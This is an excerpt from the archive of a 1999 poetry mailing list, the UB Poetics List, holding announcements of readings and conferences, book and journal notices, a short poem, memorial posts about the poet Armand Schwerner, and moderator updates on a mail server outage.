Also, Poetics List people may be interested in the current & forthcoming (Sunday) program I have up on Antenna Internet Radio <http://www.antennaradio.com/avant/mappings/index.htm>. The current show features text-based performance-operas by Robert Ashley, the next show includes a lengthy piece by Sinead Jones (from her collaborative book/CD with list-member cris cheek) & settings of texts by Melody Sumner Carnahan. The Ashley show will be available in the archive through 21 February.

Gotta go.

Herb Levy

[redacted]

↑ Index

162. Ron Silliman
(no subject)
Sat 13 Feb 1999

There's a nice piece on Alan Sondhein and the virtual writers residency in Wired Online:

http://www.wired.com/news/news/culture/story/17879.html

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

163. Judy Smith McDonough
poetrynow
Sun 14 Feb 1999

February's poetrynow is on-line

Judy Smith McDonough, editor
http://www.poetrynow.org

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164. Judy Roitman
KS poetics
Sun 14 Feb 1999

The poetics seminar at the university of kansas continues this spring.

Wed. Feb. 17, Judy Roitman, "Buddhism and Contemporary Poetics: The Case of Alan Davies", 5-6:30, Hall Center Conference Room

Wed. March 31, Jonathan Mayhew," Redundancy Revisited: A Problem in Poetic Form", 5-6:30, Hall Center Conference Room

Mon. April 19, Marjorie Perloff, TBA, 1-2:30, Hall Center Conference Room

For more information, see the Hall Center Web page,
http://www.ukans.edu/~hallcntr/reading.html#Poetics

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

165. Peter Ganick
interesting new cultural website
Sun 14 Feb 1999

Hello,

I thought you might be interested to know about a popular
new website of resources and reviews, covering
media / cultural studies / gender / sexuality / identity:
http://www.theory.org.uk

The site attracted over 3,000 unique visitors last week.

The site should be worth a visit if you have interests in any
of the following:
* Cultural studies
* Media influences
* Gender & sexuality
* Use of the internet in teaching, learning
and communication
* Michel Foucault
* Queer theory, Judith Butler
* Adorno, Gramsci
* 'Role models', identity

As well as information resources and links, the site has an ever-growing number of book reviews, plus our much celebrated interactive multimedia critical theory QUIZ!

Also amusing viewers at the moment is the illustrated tourists' guide to
FOUCAULT'S PARIS.

It would be great if you would visit this site, and if you like it, recommend it to students, friends and webmasters.

Thank you very much.

Best wishes,
David Gauntlett

sent by peter ganick
[redacted]

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166. Katie Degentesh
9x9x9x9x9x9x9x9x9x9x9x9x9x9
Mon 15 Feb 1999

9X9 INDUSTRIES PRESENTS:

ANOTHER ADOBE READING

STARRING

HUGH STEINBERG, board member of Small Press Traffic and a Wallace Stegner Fellow at Stanford University.

and

KIM ADDONIZIO, author of two books of poetry from BOA Editions: The Philosopher's Club and Jimmy & Rita, and winner of two NEA grants and a Pushcart Prize.

with special guest ADAM DE GRAFF

Poetry reading!
9x9 Industries
Adobe Bookshop, Thursday, February 18, 1999
3166 16th St. (at Guerrero)
San Francisco
8 PM, FREE
[redacted] for media or more information

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

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167. Roger Farr
EWL1 (fwd)
Mon 15 Feb 1999

> *Experimental Writing Laboratory I*
> *February 20, 1999*
> *8:00 pm*
> *Free*
>
> *If you're looking for a change or would like to supplement your poetics, expand your technical repetoire, and diversify your writing portfolio, this practical laboratory will help you to understand how to achieve these goals. Find out what experimental writing is and how it differs from*

> *creative writing. Evaluate whether experimental writing is for you. Find out how to choose compositional devices suited to your needs.*
>
> *Bring scissors, adhesives, paper, and one computer disk.*
>
> *The Old Kootenay School of Writing*
> *112 West Hastings Street*
>
> *To register call* [redacted].

↑ Index

168. Rebecca Wolff
my reading at the Ear Inn
Mon 15 Feb 1999

Hello, I, Rebecca Wolff, am reading my very own poems
at the Ear Inn on February 27th, at 3 pm.

326 Spring Street, west of Greenwich Street, New York City.

Also reading:

Noelle Kocot
Maggie Barrett

↑ Index

169. Tom Beckett
Nothing Is Indivisible
Tue 16 Feb 1999

If triangle
could talk
circle would
embrace it
like rearrangements
of hesitations
skewed into
cubist mouths
situationist rectums
the disconnection
between thought
and cock
or clock
or cloud

↑ Index

170. **Pritchett,Patrick**

Re: Left Hand Reading Series - Feb.99

Tue 16 Feb 1999

> *THE LEFT HAND READING SERIES FOR FEBRUARY 1999:*
>
> *ANDREW SCHELLING*
> *MARILYN KRYSL*
> *MERRILL GILFILLAN*
>
> *Thursday, February 18, 1999 at 8:30pm*
> *Left Hand Books, 1825 Pearl Street, Boulder, btwn. 18th & 19th), above the Crystal Market*
>
> *Andrew Schelling's books include "Old Growth: Poems & Notebooks, 1986-1994." His latest translation from the Sanskrit is "Cane Groves of Naramanda," from City Lights Books. He is the recipient of several awards for his translations and teaches at The Naropa Institute.*
>
> *Marilyn Krysl is the author of numerous books of poetry and fiction. Her latest volumes include a collection of short stories entitled "How To Accommodate Men" and "Warscape With Lovers," which won the Cleveland State University Poetry Prize. She is Director of the Creative Writing Program at the University of Colorado.*
>
> *Merrill Gilfillan is the author of seven books of poetry and two collections of short fiction. His most recent publications are "Chokecherry Places: Essay from the High Plains," and "Satin Street," a collection of poems.*
>
> *A brief Open Reading will precede the featured readers.*
>
> *For more information, please contact Mark DuCharme at [redacted] or Patrick Pritchett at [redacted].*

↑ Index

171. **David Baratier**

Invitorium

Tue 16 Feb 1999

John M. Bennett & I
are a new magazine
send things
pick medium
objects are a possibility
if you excel

with labels
give us a name

Be well

David Baratier
3252 Indianola Ave, Apt A
Columbus OH 43202
USA

↑ Index

172. Poetics List
list status
Tue 16 Feb 1999

"Lazarus-like, th' electronic mail returns." Tennyson

The mailhub for <buffalo.edu> has been restored to service as of this morning; and here I am with a box full of list messages. I'll get through them as quickly as I can, but be forewarned there may be some delay before posts reach the list; your patience is appreciated. It would also be helpful to me if we could keep the posting very light for a day or two, long enough to sift through and eliminate duplicate messages, catch up on new subscriptions etc. I'll post an update as soon as the workload gets more manageable, probably by Thursday. In the meantime, if I could ask that you please post only time-sensitive messages, items that need to go out before the end of the week or that relate to current news.

thanks, Chris

Christopher W. Alexander
poetics list moderator

↑ Index

173. Poetics List
another note
Tue 16 Feb 1999

Some of the messages held in queue from the our mailhub failure of about 10 days ago are available now. These I have to forward manually, but I will leave the abbreviated headers from the orig. messages in the body of the post - that is, you should see the date and address of the original sender in the message. Please remember to consult or respond to this person, and not to me!

thanks, Chris

↑ Index

174. Poetics List
Armand Schwerner
Tue 16 Feb 1999

Date: Fri, 05 Feb 1999 12:02:56 -0800
To: [redacted]
From: Mark Weiss <[redacted]>
Subject: Armand Schwerner

Armand's _The Tablets_, for the first time complete, if that's the term, will be available from National Poetry Foundation, and his Selected Shorter Poems (comprising about 2/3 of his non-Tablets poetry plus a handful of translations) from Junction Press within the next two months. Both are in the final stages of pre-press. His translations of _The Inferno_, which he still hoped to complete as recently as a month ago, are to be published by Talisman. Ed Foster can probably tell us when to expect them. He was my friend and teacher. Editing his work with him has been a last great privilege. Selah.

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175. Poetics List
Martha Ronk
Tue 16 Feb 1999

From: "Kathy Lou Schultz" <[redacted]>
To: "UB Poetics discussion group" <[redacted]>
Subject: Martha Ronk
Date: Fri, 5 Feb 1999 15:01:42 -0800

Seeking e-mail and snail mail for Martha Ronk.

Much appreciated,
Kathy Lou Schultz
[redacted]

↑ Index

176. Poetics List
The Flea Theatre Reading Series, New York, Feb 17
Tue 16 Feb 1999

Date: Fri, 5 Feb 1999 21:27:16 +0000
To: [redacted]
From: Alaric Sumner <[redacted]>
Subject: The Flea Theatre Reading Series, New York, Feb 17
Cc: [redacted], [redacted],
[redacted]

February 17
4pm

Rehearsed reading of >Conversation in Colour<
Text: Alaric Sumner
Directed: Clyde Simon
Music commissioned from composer Michael Finnissy.

The Bat Theatre Company [http://www.thebat.com]
The Flea Theatre
41 White Street
New York
NY 10013

> *The Flea Theatre Reading Series*
>
> *This series will include pieces ranging from works-in-progress having their first readings, to new pieces which have already had productions outside New York. Although open to the public (gratis), the series is primarily for the benefit of the resident company to introduce new works/writers to the company, including to Artistic Director Jim Simpson, as candidates for further collaboration.*

Conversation in Colour was first performed at the Tate Gallery St Ives and Dartington Arts Centre in 1996 (with recordings of Finnissy playing his own music) funded by South West Theatre Consortium and sponsored by Terry Bird (Bang and Olufsen South West). In 1994, Phil Dalziel (an MA student at University of Leeds) devised a performance out of the text for his final degree showing.

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177. Poetics List
pagemothers inquiry
Tue 16 Feb 1999

Date: Fri, 5 Feb 1999 16:47:55 -0700 (MST)
From: R M Daley <[redacted]>
To: UB Poetics discussion group <[redacted]>
Subject: pagemothers inquiry

can someone please re-post the specifics (date/time/event info) for the pagemothers conference to be held in san diego i believe at the beginning of march?

much obliged,
rachel daley

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178. Poetics List
armand schwerner...
Tue 16 Feb 1999

Date: Fri, 5 Feb 1999 18:09:52 -0600 (CST)
To: [redacted]
From: Joe Amato/Kass Fleisher <[redacted]>
Subject: armand schwerner...

[apologies to those who see this cross-listed]

sad news about armand schwerner... i met him at the cross-cultural poetix conference in minneapolis two falls ago, but never had a chance to really talk with him... he'd participated in my "nous refuse" electronic writing collective for a spell some years back...

i have his and donald kaplan's _the poets' encyclopedia_ sitting on my shelf---have always taken pleasure in flipping through the assorted insights, rants, trivia, quotes, photos, gossip, etc...

sad news... he had reach...

///

joe

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179. Poetics List
Re: Armand Schwerner
Tue 16 Feb 1999

Date: Sat, 6 Feb 1999 00:50:59 -0500 (EST)
To: UB Poetics discussion group <[redacted]>
From: [redacted] (joel lewis)
Subject: Re: Armand Schwerner

I knew Armand for over twenty years -- his friend Charles Morrow brought him with to read at my little series in North Bergen, NJ. As a young poet, found him a bit scary and formidable -- a great contarst to the St. mark's poets i ws just beginning to know. In later years, found him a very generous and warm person -- i have fond memories of his 65th birthday party -- a roomful of poets and artists.

Armand was also a practicing musician -- a clarinet player, he actually studied with Lennie Tristanoa as a young man &, for a time in the early 80's, he played in a gamelan ensemble

I always admired his powerful line (less evident in the fragmented tablets) & was lucky to find a copy of Seaweed, his only effort with Black Sparrow. Someone shoulf reissue his long essay on Wallace Stevens that appeared in Kulchur

Joel Lewis

↑ Index

180. Poetics List

Post-war American Poetry: An International Conference

Tue 16 Feb 1999

Date: Sat, 06 Feb 1999 11:48:28 +0100
To: [redacted]
From: Michel Delville <[redacted]>
Subject: Post-war American Poetry: An International Conference

---
POST-WAR AMERICAN POETRY
University of Liège (Belgium) -- March 3-5, 1999

Guest readers and keynote speakers

Joe Amato
Maxine Chernoff
Steve Evans
H. Kassia Fleisher
Paul Hoover
Pierre Lagayette
Peter Middleton
Jennifer Moxley
Peter Nicholls
Keith Waldrop
Rosmarie Waldrop

Dear listers,

We've just posted the complete schedule for the Liège "Post-war American Poetry" conference on the Ulg web site:

http://www.ulg.ac.be/facphl/annonces/pwap.html

Michel Delville

Michel Delville
English Department

University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

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181. Poetics List
Norman Bluhm
Tue 16 Feb 1999

From: "Ron Silliman" <[redacted]>
To: "Poetics List" <[redacted]>
Subject: Norman Bluhm
Date: Sat, 6 Feb 1999 06:31:05 -0500

Norman Bluhm, a painter who collaborated with and/or did covers for such poets as Frank O'Hara, Bill Berkson & John Yau has died.

http://www.nytimes.com/yr/mo/day/news/national/obit-bluhm.html

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182. Poetics List
Armand Schwerner (1927-1999)
Tue 16 Feb 1999

Date: Sat, 6 Feb 1999 11:03:38 -0500 (EST)
To: [redacted]
From: "Burt J. Kimmelman (14979)" <[redacted]>
Subject: Armand Schwerner (1927-1999)

I was very moved by Charles's announcement - especially by his selections of verse appropriate to - Armand's passing and his life overall. And of course since that posting many folks have reminisced about Armand or otherwise expressed their feelings of loss and/or quoted from other of his work.

So I'd like to share this wonderful passage, possibly lesser-known, from Armand's reminiscence "The Aquarium Fancier":

"[T]he poet, though forever exiled from the hawksoar, can be a flexible slinger. In his youth Rimbaudian indignation at gravity's impositions, however moderated by his intelligence, often serves as food for metaphors of power. I think of Lautreamont's *Chants de Maldoror* and its offspring Romantic protestants. In mid-life the poet may fall into a greed-dream pierced by flashing

visitations of great flightless birds - emu, cassowary, the small rhea. *If not flight at least these, an arrangement, a compromise, a standing, I'll make a deal, empower me.* Through sweet-smelling honeycombs of the world, unlikely stand-ins for carnivores, poets wander: daring ornithopter-persons whose heavy Icarian wings - thickened by the waxy exudae of savory delusions - suffer a dashed grounding; it is one function of poetry to embody again and again the saving clear-eyed anguish of such falls to earth."

I saw Armand a number of times over the last years and we had a lot of correspondence over phone, email and snailmail during that time. I am grateful that he sought me out and mentored me, kindly and brilliantly, of late. I had first discovered his work, heard him read, met him briefly, in the 60s, when he as a poet was really first getting up a head of steam. His was a breakthrough poetry for me. I many years later met him again at a party, and it was after that that our relationship developed. As Joel Lewis and I agreed with one another on the phone yesterday, the young Armand was a really crazy guy, who had mellowed since. But he was always to me amazing, just the same. And he was a handsome man - who was physically ravaged in later years, to me a particular sadness. In this last period of his renewed fight with cancer, I have been struck by what might glibly be called his bravery - not that so much as an ability to live in the present, to take advantage of whatever time he had. Even when he could no longer speak, he was very much alive, interested in so very much going on around him. This was a new kind of role modeling I have now to keep.

P.S. For those who don't know Armand's work as well as they might want to, I recommend, aside from his own volumes (and as has been mentioned on this list, a new *Selected* will be out shortly as well as, probably not right away but eventually, a complete *The Tablets* including a CD ROM, I believe, from the National Poetry Foundation) the entry in the Dictionary of Literary Biography, written by Arthur Sabatini, and the recent Talisman issue that contains some of Armand's recent work, an interview, and a collection of essays on the work.

Burt Kimmelman

.

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183. Poetics List

Alan Sondheim's 'The Case of the Real'

Tue 16 Feb 1999

Date: Sat, 06 Feb 1999 12:29:09 -0500
To: [redacted]
From: Peter Ganick <[redacted]>
Subject: Alan Sondheim's 'The Case of the Real'

Potes & Poets Press announces the publication of Alan Sondheim's 'The Case of the Real' in two volumes...

The 'Case of the Real' discusses virtual subjectivity (online, electronic, cyborg, hallucinatory) in relation to the 'psychical real'. The phenomenology of writing and the notion of the constituted entity or world - the issues of foundations and protocols - are analyzed. Who or what are the subject and object? Do these terms - do any _coupled_ terms - have relevance in universes of information and desire? The 'Case of the Real' is a case in point and a vital philosophical/poetic inquiry at the same time.

Both volumes are available for a combined price of $13 from Small Press Distribution, 1341 Seventh Avenue, Berkeley CA 94710 -- [redacted] --
or -- [redacted].

ISBNs 0-937013-90-9 (vol.1) and 0-937013-91-9 (vol. 2)

Inquiries:
Potes & Poets Press
181 Edgemont Avenue
Elmwood CT 06110-1005

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184. Poetics List

Sliding

Tue 16 Feb 1999

Date: Sat, 13 Feb 1999 01:09:05 -0500 (EST)
From: "A. Jenn Sondheim" <[redacted]>
To: Poetics <[redacted]>
Subject: Sliding

/

Sliding

The original random language program I did, with the TI59 calculator, was written with three different vocabularies: Icelandic Edda; Marxist Poli- tical; and Sexual. The Julu program I wrote a couple of years ago in Perl is being rewritten, from sexualized emanation to programming wetware.

In both examples, the underlying structures remain more or less the same. And I want to make the case that this is also true of human knowledge - that, for example, the structure of the Kabbalah and quark theory might not be all that different - as words and resonances slide in reference, across similar, if not equivalent, structures.

For me, this is one of the essential points of thinking, which is why I love the Bourbaki, with their notion of mother-structures. It is also one of the reasons I'm suspicious of reference in general; reference is guided by structure, which it inhabits - the same structure inhabited by reason itself.

I cannot resist knowledge; I can burrow in structures, write and rewrite as if I were _wryting_ concepts and emanations and wetwares into exis- tence. And that has always been the case, from the originary RNA/DNA and their molecular forebears, through the ciphers of the I Ching, to the /dev/null of Lyotard's Libidinal Economy, Jasper's Cipher, Sartre's Nausee, Deleuze/Guattari's body-without-organs, not to mention the Kab- balistic Emanations and Adam haKadmon.

What are the structures, that we may fulfill them? What is consciousness, that inhabits the Same?

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185. Pritchett,Patrick
Notley Talk
Tue 16 Feb 1999

The American Museum of Poetics presents the latest installment of its talk series on American Poet Greats:

PATRICK PRITCHETT on ALICE NOTLEY
Tuesday, February 23 at 7:30pm
Boulder Book Store
1107 Pearl Street
FREE

Alice Notley is the author of numerous books of poetry, including "How Spring Comes," "At Night The States," and most recently, "The Descent of Alette," and "Mysteries of Small Houses." Her groundbreaking and inventive work combines a non-sectarian feminist writing practive with a highly original and imaginative (anti)lyric.

Patrick Pritchett is the author of "Ark Dive," an elegy for Ronald Johnson. His essay on Anselm Hollo will appear later this year in Andrei Codrescu's anthology, "Thus Spake The Corpse."

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186. Poetics List
Station Hill Blanchot Reader
Tue 16 Feb 1999

From: "george quasha" <[redacted]>
To: <[redacted]>
Subject: Station Hill Blanchot Reader
Date: Sat, 13 Feb 1999 04:08:58 -0800

Announcing:

THE STATION HILL BLANCHOT READER, Maurice Blanchot, ed. George Quasha

Long-awaited and now available, THE STATION HILL BLANCHOT READER brings together seven of the great French writer's eight books published by Station Hill over the past twenty years: VICIOUS CIRCLES, THOMAS THE OBSCURE, DEATH SENTENCE, THE MADNESS OF THE DAY, WHEN THE TIME COMES, THE ONE WHO WAS STANDING APART FROM ME, and ten of the eleven essays from THE GAZE OF ORPHEUS AND OTHER LITERARY ESSAYS. This Reader represents most of the fiction (rÈcits) Blanchot published and an introductory selection of his philosophical/literary essays from several major books. Celebrated translations by Lydia Davis, Paul Auster, and Robert Lamberton. Preface by George Quasha, Foreword by Christopher Fynsk, Afterword ("Publishing Blanchot in America: A Metapoetic View") by George Quasha and Charles Stein. 560 pages. $29.95. ISBN: 1-886449-17-1.

MAURICE BLANCHOT, born in 1907, is the author of some thirty-five books of fiction and literary and philosophical discourse, the majority of which are now available in English. His enormous importance for contemporary literature and thought is finally being recognized outside France, and critical studies abound in English as in French. The recent extensive "biographical essay" by Christoph Bident, PARTENAIRE INVISIBLE (Editions Champ Vallon, 1998) gives a new perspective on the work in view of the life. It includes a full-scale bibliography of works in French. A chronology of his works in French and lists of his works and secondary literature in English may be found on the World Wide Web: http://lists.village.virginia.edu/~spoons/blanchot/blanchot_mainpage.htm.

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e-mail: [redacted]

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187. Summi Kaipa
Re: pagemothers inquiry
Tue 16 Feb 1999

Rachel--

Here's the info I've gotten through others. Maybe I'll see you at the conference.

Best,
Summi

PAGE MOTHERS
the poets their presses their poetics
March 5-6, 1999

Friday, March 5: Seuss Room, Geisel Library, UC San Diego 4:00 - 5:00Reception & Welcome by Rae Armantrout 5:45 - 7:15 A Little History (1960-1980)
Michael Davidson (UC San Diego)
Harryette Mullen (UC Los Angeles)
Kathleen Fraser (However)
Patricia Dienstfrey (Kelsey Street Press)
Simone Fattal (Post Apollo Press)
Saturday, March 6 Seuss Room, Geisel Library, UC San Diego8:00 - 8:30 Coffee
8:30 - 10:00 Poetics and Such
Myung Mi Kim (However)
Brenda Hillman (St. Mary's College)
Martha Ronk (Littoral Books)
Lyn Hejinian (Tuumba and Atelos)
10:00 - 10:30Coffee
10:30 - 12:00 How to Survive the Canon

Mary Margaret Sloan (Moving Borders)
Maureen Owen (Telephone Books)
Cristanne Miller (Pomona College) with co-presenter Lynn Keller (U of Wisconsin)
Carla Harryman (Q2)
Aldon Nielsen (Loyola Marymount University)
12:00 - 1:00 Lunch (Several choices available at the Price Center Food Court)
1:00 - 2:30 Mrs. Poetry the work of Bernadette Mayer
Stephen Cope (UC San Diego)
Leslie Scalapino (O Books)
Lee Ann Brown (Tender Buttons)
Juliana Spahr (Chain)
2:30 - 3:00 Coffee
3:00 - 4:30 Guess What's Next?
Marjorie Perloff (Stanford University)
Dodie Bellamy (Mirage)
Laura Moriarty (non)
Renee Gladman (Clamour)
Pamela Lu (Idiom)
4:30 - 5:30 General Discussion
8:00 - 9:00 Faculty Club -- Free and Open to the Public
Poetry Reading by Bernadette Mayer and Maureen Owen
At 02:28 PM 2/16/99 -0500, you wrote:
>Date: Fri, 5 Feb 1999 16:47:55 -0700 (MST)
>From: R M Daley <[redacted]>
>To: UB Poetics discussion group <[redacted]>
>Subject: pagemothers inquiry
>
>
>can someone please re-post the specifics (date/time/event info) for the
>pagemothers conference to be held in san diego i believe at the beginning
>of march?
>
>much obliged,
>rachel daley
>
>

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188. **Juliana Spahr**
conference on poetry and pedagogy
Tue 16 Feb 1999

Teresa asked me to forward this to the list.

If anyone wants a flyer for this conference, you can contact her also.

The conference is organized by the Institute for Writing and Thinking and it should be interesting.

Some scholarship aid will be available for poets and teachers who want to participate in the symposium on "Poetry and Pedagogy: The Challenge of the Contemporary," sponsored, June 24-27, 1999, by the Bard Institute for Writing and Thinking. The number of scholarships available will depend upon expenses and overall conference registration. Anyone interested in being considered for scholarship aid should send in the registration form included in the symposium flyer, indicate your need for scholarship aid on the form, and attach it to a note telling us something about yourself and your interest in this symposium. If you do not have a flyer, send a message to vilardi@bard and request one. The Institute will not be able to make decisions about scholarships until May 15, 1999.

Teresa Vilardi
Bard Institute for Writing and Thinking
Bard College
Annandale-on-Hudson, New York 12504
[redacted]; [redacted]

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189. **Mark Weiss**
Re: Armand Schwerner
Tue 16 Feb 1999

To the best of my knowledge all of the verse and translations have either been published or are in process. I'm quite sure that's true for the verse. There are stacks of papers to be sorted in his loft--what they are remains to be seen, but the impression so far is that except for some letters and journals never intended for publication they are mainly offprints of other people's work. Mike Heller is Armand's literary executor. Give him a month and we'll all know more.

At 03:26 PM 2/16/99 -0500, you wrote:
>seeing your post i thought you might be able to answer a question for me --
>if there much work of AS around, still to be published or collected ?

>
>he'd sent me his Crystal Skull Pantoums some time back and i'd been meaning
>to write him to ask for some work for my next magazine
>
>alas, this TO DO item was in a stack that also included to finish my reply
>to the last letter i'd had from Dick Higgins
>
>thanx
>
>)L
>
>john lowther
>
>

↑ Index

190. **Aldon Nielsen**
Re: a number of matters
Tue 16 Feb 1999

---

trying to save e-space -- so am compacting several notes in one post

_____
info on PAGEMOTHERS conference may be found at:

http://orpheus.ucsd.edu/lit/pagemothers.html

_____

Reading in Los Angeles!!!!!!

Tuesday 2/23

Alfred Arteaga and Will Alexander

at Hanon Loft, Loyola Marymount University
7900 Loyola Blvd. -- L.A.
8:00 P.M.

for info. call [redacted]

_____
More sad news in LA & NY Times:

Pianist/teacher/Composer Jacki Byard was found shot to death in his home -- age 76 -- no explanation yet as to what happened --

_____

happier News in LA TIMES

check out front page of Tuesday LA Times for funny article on Lawrence Ferlinghetti's appointment to position of poet laureate of San Francisco

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191. David Buuck
Tripwire: a journal of poetics
Tue 16 Feb 1999

Given the recent beginnings of a discussion around the gender of authors - or the "genderedness" of writing - I thought it might be appropriate to re-post this call for submissions (deadline has been extended), as well as info on ordering the current issue.

Tripwire: a journal of poetics
edited by Yedda Morrison & David Buuck

Call for submissions for issue #3 : GENDER

How does gender enter into, shape, and reconfigure language and vice versa. Gender & economy, authority, autonomy, indentity & experiment. Pronouns, powere & representation. Feminist theory (evolution & application). Gender & tradition, inheritance, audience & community. Gender & genre. Formal exploration, meaning & value. Gender & current practice.

TRIPWIRE invites submissions of essays, translations, interviews, art & book reviews, and visual art. All visual art submissions should be reproducible in black & white; visual artists are encouraged to include a statement about their work. At this time, we are not accepting unsolicited poetry for publication. Submissions for issue 3 should be received by April 15, 1999.

Copies of issue #2 - Writing as Activism: The Aesthetics of Political Engagement - are still available for $8 per ($15 for 2 issue subscription). Please add $2 for s&h outside the USA. Issue #2 features: Steven Farmer, Ben Friedlander, Danielle Collobert (trans. Norma Cole), Rodrigo Toscano, Brenda Iijima, Brian Kim Stefans, Noah de Lissovoy, Kristin Prevallet, Jack Hirschman, Lawless Crow (with interview by John Lowther & Randy Prunty), Sarah Anne Cox & Elizabeth Treadwell, Rod Smith, Rob Fitterman, Dodie Bellamy, Patrick Durgin, William Ayton, Kathy Lou Schultz, Pamela Lu, Louis Cabri, Juliana Spahr, Anselm Berrigan, Lytle Shaw, & Chris Chen. 180 pages.

Submissions, subscriptions, & inquiries to :

Tripwire
c/o Morrison & Buuck
PO Box 420936
SF CA 94142

[redacted]

Issues 1 & 2 also available from Small Press Distribution.

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192. David Baratier
Reinvitorium
Tue 16 Feb 1999

Addendum to clarify based upon responses:

The mag is not e-text or web. It is printed matter

E-mail or smail visuals and text

Visuals: Tif files, mailed originals or clear photocopies
are preferred

4-color is within the realm, so are
assemblages, backchannel the project idea

Languages other than English are fine

Obviously send SASE

Be well

David Baratier

↑ Index

193. Pamela Brown
web site address change
Tue 16 Feb 1999

Hello everyone please note a web site address change for Pam Brown

http://www.geocities.com/SoHo/Workshop/7629/

Same old site but....
Best wishes
Pam

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194. Sean Casey
poetry & sound
Wed 17 Feb 1999

I'm researching the combinations of word with sound, from
sound poems to poetry accompanied by music (improvised,

composed, collage, ambient, jazz), from no specific time period
or language.

I would appreciate any recommendations from the list of
recordings I should check out.

My address: [redacted]

Also, I'd be interested in corresponding with any list members who have done some exploration in these areas.

Thank you,
Sean

--
Issues
http://www.cs.brown.edu/~raj/issues/

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195. nuyopoman
poetry/radio
Wed 17 Feb 1999

To: Herb'n'All:

Even tho Mouth Almighty has been squeezed out of distribution city by recent corporate merge (Polygram into Universal equals poetry no go), the website continues to Spread the Word. Of note is the 80 or so Poetry Radio shows identified in last summer's rush to a Top 20 Poetry Count Down. Get station contact info at: http://www.mouthalmighty.com/radio.htm

Bob Holman

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196. Loss Pequen~o Glazier
Mail Loss
Wed 17 Feb 1999

Just a note to those who may have posted to the list or who might have sent mail to anyone at UB recently. First, mail was delayed for great amounts of time and has only now been slowly restored. Second, a good number of messages, maybe as many as a million, were obliterated by the jaws of technology. In the words of the computing center here:

"The potential for mail loss is known to be from around noon on Saturday Feb 6 through 12:01am Sunday Feb 7. Backups of the mail system files were running from 2/6 Noon to midnight - email loss would have occurred if new mail was

delivered to you during this period after your folders were backed up. It is not possible to determine exactly what may have been lost."

Just so that you know. If anything important was sent or if you posted to the list and it disappeared, it might have been due to these technical difficulties...

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197. Poetics List
Stuart Z. Perkoff and the Temple of Man
Wed 17 Feb 1999

Had to reformat this somewhat. Chris

---------- Original message (ID=8C623F0F) (109 lines) ----------

From: "jesse glass" <[redacted]>
To: "UB Poetics discussion group" <[redacted]>
Subject: Stuart Z. Perkoff and the Temple of Man
Date: Sun, 7 Feb 1999 17:40:07 -0800

Beach and Temple; Outsider Poets and Artists of Western America 1953-1995 by David B. Griffiths. International Scholars Publications. ISBN 1-57309-311-4-HC, ALK, Paper. 425 pages. $40.00.

At the same time that Ginsberg, Kerouac, Corso and company were transforming American letters to the north, a group of poets centered in the Venice Beach area of California were also involved in creating a distinctive poetry. This scene centered around the work and life of Stuart Z. Perkoff, a poet whose significance is just now being rediscovered, his complete poems having recently been released from The National Poetry Foundation. Jack Hirschman, David Meltzer, and other poets and writers of note were associated with this group and their peculiar allegiance to The Lady and the self-styled Temple of Man.

Griffiths interviewed many members of the group and examines and catalogues the rare publications that sustained their community. In so doing, he gives valuable biographical information about Perkoff and provides the context in which he and his friends, lovers, and followers lived and wrote. This book will prove invaluable for those interested in a little-known aspect of American literary history, and is yet another piece of the puzzle of what happened in the 1950's that gave rise to the explosion of alternative lifestyles of the 1960's.

Jesse Glass.

↑ Index

198. Michael Franco
CAMBRIDGE / BOSTON READINGS
Wed 17 Feb 1999

MICHAEL FRANCO reads HOW TO LIVE AS A SINGLE NATURAL BEING THE DOGMATIC NATURE OF EXPERIENCE [ZOLAND 1998] with Zoland Poet JOHN MALONEY at Blacksmith House, Cambridge, Ma Monday 2-22-99 @8:15pm $3.00

Word of Mouth @ Waterstone's, Newbury St, Boston:
JOSEPH TORRA & ED BARRETT read from their collaboration WATTEAU SKY [Gian
Lombardo's Qual Press] joined by PATRICIA PRUITT reading from her recently issued SESSIONS [Jenson & Daniels]
TUESDAY 2-23-1999
7:PM $3.00

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199. Poetics List
TF8 - 2/99 - Coffins
Wed 17 Feb 1999

Had to reformat this one, too. Chris

---------- Original message (ID5ECE42) (257 lines) ----------

Date: Sun, 7 Feb 1999 19:06:49 -0500
To: Poetics List <[redacted]>
From: Garrett Kalleberg <[redacted]>
Subject: TF8 - 2/99 - Coffins

Little cave. Seventeen tiny coffins.

A wig-maker's tomb.

The devil's hermitage.

A hole a cave a mouth.

[Tiny figure of red devil.]

> The Transcendental Friend
> Issue No. 8, February 1999
>
> www.morningred.com/friend/1999/02/cover.html

Work by Jesse Glass, Aloysius Bertrand (translated & presented by Irène Eulriet & Rob Guthrie), Charles Baudelaire (translated by David Cameron), Pam Rehm, and H. Ramsdell & G. Kalleberg

Back issues of The Transcendental Friend are available from the Home page, at the address below.

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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200. Michael Magee
Re: Jaki Byard
Wed 17 Feb 1999

According to Aldon Nielsen:
> _____
> More sad news in LA & NY Times:
>
> Pianist/teacher/Composer Jacki Byard was found shot to death in his home --
> age 76 -- no explanation yet as to what happened --
>

Ugh, this is awful - for those who don't know the work, Byard is at piano on some of the most avant jazz sessions of the 50's & 60's including (the ones i have handy by this computer) *Far Cry* w/ Dolphy, Booker Little and Roy Haynes, and Mingus's *The Black Saint and the Sinner Lady*. What a terrible indignity. -m.

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201. Poetics List
THE CAMBRIDGE CONFERENCE OF CONTEMPORARY POETRY
Wed 17 Feb 1999

I rec'd this notice at my personal account, and thought
it might be of interest here. For further details, please
refer to the contact addresses below. Chris

THE CAMBRIDGE CONFERENCE OF CONTEMPORARY POETRY

this year at Trinity College, Cambridge. 23rd to 25th April Starts Friday evening, runs to Sunday evening. Consists basically of poetry readings, with some musical, performance or other events.

All events open to the public.
Week-end tickets, day-tickets or single event tickets will be available.
Registration is not required. The conference is not residential.

PROVISIONAL INFORMATION FOR CCCP1999---

The following poets are invited, in some cases still subject to confirmation pending financial arrangements etc. A final list will be issued at a later date.

from UK: Michael Ayres, Andy Johnson, Bob Walker, plus other

from France: Andres Ajens, Oscarine Bosquet, Michel Deguy, Christian Prigent, Christophe Tarkos

from Canada: Erin Mouré

